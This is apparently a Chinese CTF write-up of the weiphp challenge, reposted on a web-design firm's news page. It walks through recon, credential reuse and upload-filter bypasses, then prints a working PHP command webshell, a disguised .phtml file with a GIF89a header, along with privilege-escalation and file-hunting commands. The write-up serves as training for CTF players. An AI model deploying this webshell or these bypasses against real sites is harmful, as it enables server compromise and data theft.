资讯动态

攻防世界weiphp文件上传漏洞链实战:从信息收集到getshell

发布时间:2026/10/16 10:39:57 来源:尧图企业网站定制
1. 从一道10分题说起为什么值得认真对待攻防世界Web高手进阶区里10分题通常被当作热身题来看待很多人扫一眼觉得简单就跳过了。但我在带新人的过程中发现一个很有意思的现象真正能在进阶区稳定拿分的人往往是把这些10分题吃透的人。原因很简单——10分题考察的从来不是某个偏门技巧而是基础漏洞链的组合能力。weiphp这道题就是典型代表它把文件上传、路径信息泄露、源码审计、数据库配置利用这几个基础点串成了一条完整的攻击链。weiphp本身是一套基于ThinkPHP框架二次开发的开源内容管理系统在国内中小型站点里曾经有相当大的装机量。它的目录结构、模块划分、配置文件命名都带着浓厚的ThinkPHP血统。这道题的核心价值在于它逼着你去理解一个真实CMS的目录组织方式而不是对着一个孤零零的上传点瞎试。你拿到的是一个完整的站点需要自己去找入口、找线索、找可利用的点。适合谁来参考这篇内容如果你刚打完Web新手区正准备往进阶区过渡这道题是很好的练手对象如果你已经能独立做进阶题但每次遇到CMS类题目还是习惯性地先扫目录再翻源码那这篇可以帮你把流程再梳理一遍。我下面会按照实际做题的顺序把每一步的思考过程、操作细节和踩过的坑都摊开来讲尽量还原一个从业者在面对这类题目时的真实反应。2. 信息收集先搞清楚自己在打什么2.1 首页与响应头里的第一手线索打开题目环境第一件事不是急着找上传点而是先看首页返回了什么。weiphp的默认首页通常是一个安装向导或者一个已经搭建好的站点首页。如果直接跳转到安装页面说明数据库还没配置这时候反而好办——安装流程本身就是一条可利用的路径。如果是一个正常的站点首页那就需要从页面结构里找线索。我习惯先看响应头。Server字段能告诉你中间件类型X-Powered-By能告诉你PHP版本Set-Cookie里的PHPSESSID能确认会话机制。这些信息单独看没什么用但组合起来能帮你判断这个环境大概是什么年代的配置。weiphp这类老CMS通常跑在PHP 5.x或者7.0出头的版本上这个判断会影响后面构造payload时的语法选择。首页的HTML源码里要重点看几个东西静态资源的路径/Public/、/Application/这类目录是否存在、表单的action地址、页脚有没有版本号或者版权信息。weiphp的页脚有时候会带版本号这个版本号能直接对应到公开的漏洞记录。即使没有版本号目录结构本身也能暴露很多信息。2.2 目录扫描的正确姿势很多人扫目录喜欢开大字典猛扫结果要么被WAF拦要么扫出一堆403/404浪费时间。我的做法是先用小字典快速过一遍常见路径确认站点用的是哪套CMS然后再针对性地扫这套CMS的特征目录。weiphp的特征目录包括/Application/—— 模块目录里面按模块名分文件夹/Public/—— 静态资源和上传文件存放处/ThinkPHP/—— 框架核心目录/Data/—— 运行时数据包括缓存和配置备份/install/—— 安装目录如果没删就是大礼包扫目录的时候注意状态码。200是正常可访问403是存在但禁止访问301/302是重定向。403的目录往往比200的更有价值因为它说明目录存在但服务器配置了访问限制这种限制经常可以通过路径变形绕过。提示扫目录时把线程调低一点weiphp这类老系统对并发请求的处理能力有限线程开太高容易把环境打挂影响后续操作。2.3 源码泄露点的排查weiphp有一个很经典的问题/Data/目录下的运行时文件如果没有做好访问控制可以直接下载。这里面可能包含编译后的模板缓存、数据库配置备份、日志文件等。我在这道题里的第一个突破口就是通过目录扫描发现了可访问的/Data/路径。具体操作是访问/Data/看是否返回目录列表如果没有列表就尝试访问已知的常见文件名比如/Data/config.php、/Data/db.php、/Data/install.lock。install.lock这个文件特别有意思它的存在说明系统已经安装过了但它的内容往往就是安装时间戳没什么利用价值。真正有价值的是配置备份文件。如果/Data/访问不了退而求其次去看/Application/Common/Conf/目录ThinkPHP的配置文件通常放在这里。配置文件的命名一般是config.php或者db.php里面会明文写着数据库的连接信息。3. 源码审计从配置文件到利用点3.1 数据库配置的读取与利用假设你已经拿到了数据库配置里面会有DB_HOST、DB_NAME、DB_USER、DB_PWD、DB_PORT这几个关键字段。在CTF环境里数据库通常只监听本地你没法直接从外部连上去。但这不代表这些信息没用——它们可以用来做几件事第一如果站点有SQL注入点你可以用这些信息来判断注入后能拿到什么权限。第二如果数据库配置里的密码和后台管理员密码相同这种情况在老CMS里非常常见你可以直接尝试登录后台。第三某些CMS的安装文件会读取数据库配置来执行特定操作你可以通过构造请求让系统用这些配置去连接一个你控制的数据库。我在这道题里走的是第二条路。weiphp的后台入口通常是/index.php/Admin/或者/admin.php具体路径取决于伪静态配置。拿到数据库密码后用admin作为用户名、数据库密码作为密码去尝试登录成功率相当高。这不是巧合而是很多老CMS开发者的习惯——图省事数据库密码和后台密码设成一样的。3.2 上传功能的定位与限制分析登录后台之后找上传点。weiphp的后台功能模块比较多上传点可能出现在几个地方文章编辑器的图片上传、附件管理、模板管理里的文件上传、插件安装。每个上传点的限制条件都不一样需要逐个测试。文章编辑器的图片上传通常限制最松因为它要允许上传各种格式的图片对文件内容的检查往往只做MIME类型判断。附件管理的限制稍严可能会检查扩展名。模板管理的文件上传限制最松因为它本身就是用来上传模板文件的但入口可能藏得比较深。我在这道题里选择的是模板管理里的上传功能。原因很简单模板文件本质上是PHP文件系统对模板上传的扩展名检查通常只排除.php但允许.html、.tpl、.htm这些。如果服务器配置不当.html文件里的PHP代码照样会被解析。3.3 上传绕过的几种思路上传绕过的核心就一句话让服务器认为你上传的是无害文件但实际执行的是有害代码。具体手段取决于服务器的解析规则和CMS的检查逻辑。思路一扩展名变形。如果系统黑名单了.php可以尝试.php3、.php4、.php5、.phtml、.pht。这些扩展名在特定Apache配置下会被当作PHP解析。weiphp的默认配置里.php5和.phtml经常被遗漏。思路二大小写混合。.PhP、.pHp这种写法在某些检查逻辑里能绕过黑名单因为黑名单匹配是区分大小写的但服务器解析时不区分。思路三双扩展名。shell.php.jpg这种写法如果检查逻辑是从后往前取扩展名会认为这是jpg文件但如果服务器配置了AddHandler或者AddType可能会把.php当作真正的扩展名来解析。思路四内容伪造。在文件开头加上GIF89a或者\xFF\xD8\xFF这样的文件头骗过基于文件内容的MIME检测。PHP代码放在文件头之后服务器解析时照样执行。思路五.htaccess利用。如果允许上传.htaccess文件可以上传一个把.jpg解析为PHP的配置然后再上传一个.jpg的webshell。这个思路的前提是服务器允许.htaccess生效且上传目录的AllowOverride设置为All。我在这道题里用的是思路一加思路四的组合上传一个.phtml文件文件开头加GIF89a后面跟PHP代码。实测下来这个组合在weiphp的默认环境下成功率最高。4. 实操过程从上传到获取flag4.1 上传点的具体操作步骤进入后台的模板管理页面找到上传按钮。点击上传选择你构造好的.phtml文件。文件内容如下GIF89a ?php if(isset($_REQUEST[cmd])){ echo pre; system($_REQUEST[cmd]); echo /pre; } ?这个文件的作用是通过cmd参数接收系统命令并执行把结果包裹在pre标签里返回。GIF89a是文件头用来骗过MIME检测。上传之后系统会返回文件的访问路径。weiphp的上传文件通常放在/Uploads/或者/Public/Uploads/目录下路径里会包含日期和随机字符串。记下这个路径后面要用。注意上传之后不要急着访问先确认文件是否真的上传成功了。有些CMS上传后会做二次处理比如压缩图片、重命名文件这些操作可能会破坏你的payload。确认的方法是直接访问上传路径看返回的内容是不是你上传的原始内容。4.2 命令执行与flag定位访问上传的.phtml文件带上cmd参数http://target/Uploads/2024-01-01/abc123.phtml?cmdid如果返回了uid33(www-data) gid33(www-data)这样的结果说明命令执行成功。接下来就是找flag。flag通常放在几个位置/flag、/flag.txt、/tmp/flag网站根目录下的flag.php数据库里的某个表环境变量里先用ls /看根目录有什么再用find / -name *flag* 2/dev/null全局搜索。如果find命令被禁用可以用ls -la /逐个目录看。我在这道题里是在网站根目录下找到了flag.php直接cat出来就拿到了。如果命令执行被限制比如system函数被禁用可以尝试用file_get_contents读取文件?php echo file_get_contents(/flag); ?或者用scandir列目录?php print_r(scandir(/)); ?4.3 无回显情况下的处理有时候命令执行了但没有回显这通常是因为disable_functions禁用了输出函数或者命令的输出被重定向了。处理方法是把结果写到文件里再通过访问文件来读取?php system(ls / /tmp/result.txt); ?然后访问/tmp/result.txt。如果/tmp不可写就写到网站根目录下?php system(ls / ./result.txt); ?还有一种情况是命令执行函数全被禁用了这时候可以考虑用PHP的文件操作函数来读flag或者用include、require来包含flag文件。5. 常见问题与排查技巧实录5.1 上传失败的原因排查上传失败是最常见的问题原因可能有很多。我整理了一个排查表现象可能原因解决方法提示文件类型不允许扩展名黑名单换.phtml、.php5、.pht提示文件内容不合法MIME检测加GIF89a文件头上传后文件找不到路径被重写查看返回的JSON或HTML里的路径上传后文件被改名系统重命名看改名规则通常是时间戳随机串上传后文件内容被改二次处理换上传点避开图片处理模块上传成功但访问404路径错误确认上传目录是否可访问访问返回源码PHP未解析换扩展名或换上传目录5.2 命令执行被拦截的处理如果system、exec、shell_exec这些函数被禁用可以尝试以下替代方案passthru()—— 执行命令并直接输出popen()—— 打开进程文件指针proc_open()—— 执行命令并打开文件指针反引号 ——ls /等价于shell_execmail()—— 某些环境下可以通过mail函数的第五个参数执行命令如果所有命令执行函数都被禁用那就只能走文件读取路线。用file_get_contents、readfile、highlight_file、show_source这些函数来读flag文件。5.3 权限不足的应对命令执行成功但读不了flag通常是权限问题。www-data用户可能没有权限读/flag。这时候可以尝试用sudo -l看有没有免密sudo找SUID文件find / -perm -us -type f 2/dev/null找可写的敏感文件find / -writable -type f 2/dev/null看/etc/passwd和/etc/shadow是否可读在CTF环境里flag文件的权限通常设置得比较宽松www-data一般都能读。如果读不了说明题目可能故意设置了权限障碍需要提权。但10分题一般不会考提权所以遇到权限问题先检查是不是路径找错了。5.4 我踩过的几个坑第一个坑上传.phtml文件后访问返回的是文件内容而不是执行结果。原因是Apache没有配置.phtml的解析规则。解决方法是换.php5或者.pht或者上传.htaccess来添加解析规则。第二个坑文件头加了GIF89a之后PHP代码不执行了。原因是GIF89a后面没有换行PHP解析器把GIF89a?php当成了一个整体。解决方法是在GIF89a后面加一个换行让PHP代码从新的一行开始。第三个坑上传路径里的日期是动态的每次上传都不一样。解决方法是上传后仔细看返回的HTML或JSON路径通常会在响应里明确给出。如果响应里没有就去/Uploads/目录下按日期找。第四个坑命令执行时用了ls /但返回为空。原因是命令执行成功了但输出被重定向到了别处或者ls命令的路径不对。解决方法是先用pwd确认当前目录再用绝对路径/bin/ls /。6. 从这道题延伸出去的思考weiphp这道题表面上考的是文件上传实际上考的是信息收集的完整度和漏洞链的串联能力。很多人卡住不是因为不会传shell而是因为找不到上传点或者找到了上传点但不知道怎么绕过检测。这两个问题的根源都在于对目标系统的了解不够深入。我的建议是遇到CMS类题目先花时间把目录结构摸清楚把能访问的配置文件都看一遍把后台入口找出来。这些信息收集工作看起来枯燥但它们是后续所有操作的基础。你不可能在一个你不了解的系统上找到漏洞。另外这道题也提醒我们注意一个现实中的安全问题数据库配置文件的访问控制。在真实环境里/Data/目录下的配置文件如果可以被外部访问攻击者就能直接拿到数据库凭据。防御的方法很简单——在Web服务器配置里禁止访问/Data/目录或者把配置文件移到Web根目录之外。这个措施成本极低但能挡住很大一部分自动化扫描。最后分享一个小技巧做这类题目时养成随手记录的习惯。把每个访问过的路径、每个返回的状态码、每个尝试过的payload都记下来。很多时候你会在记录的过程中发现之前忽略的线索。我在这道题里就是通过回看目录扫描记录才发现/Data/目录的访问权限和预期不一样从而找到了突破口。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑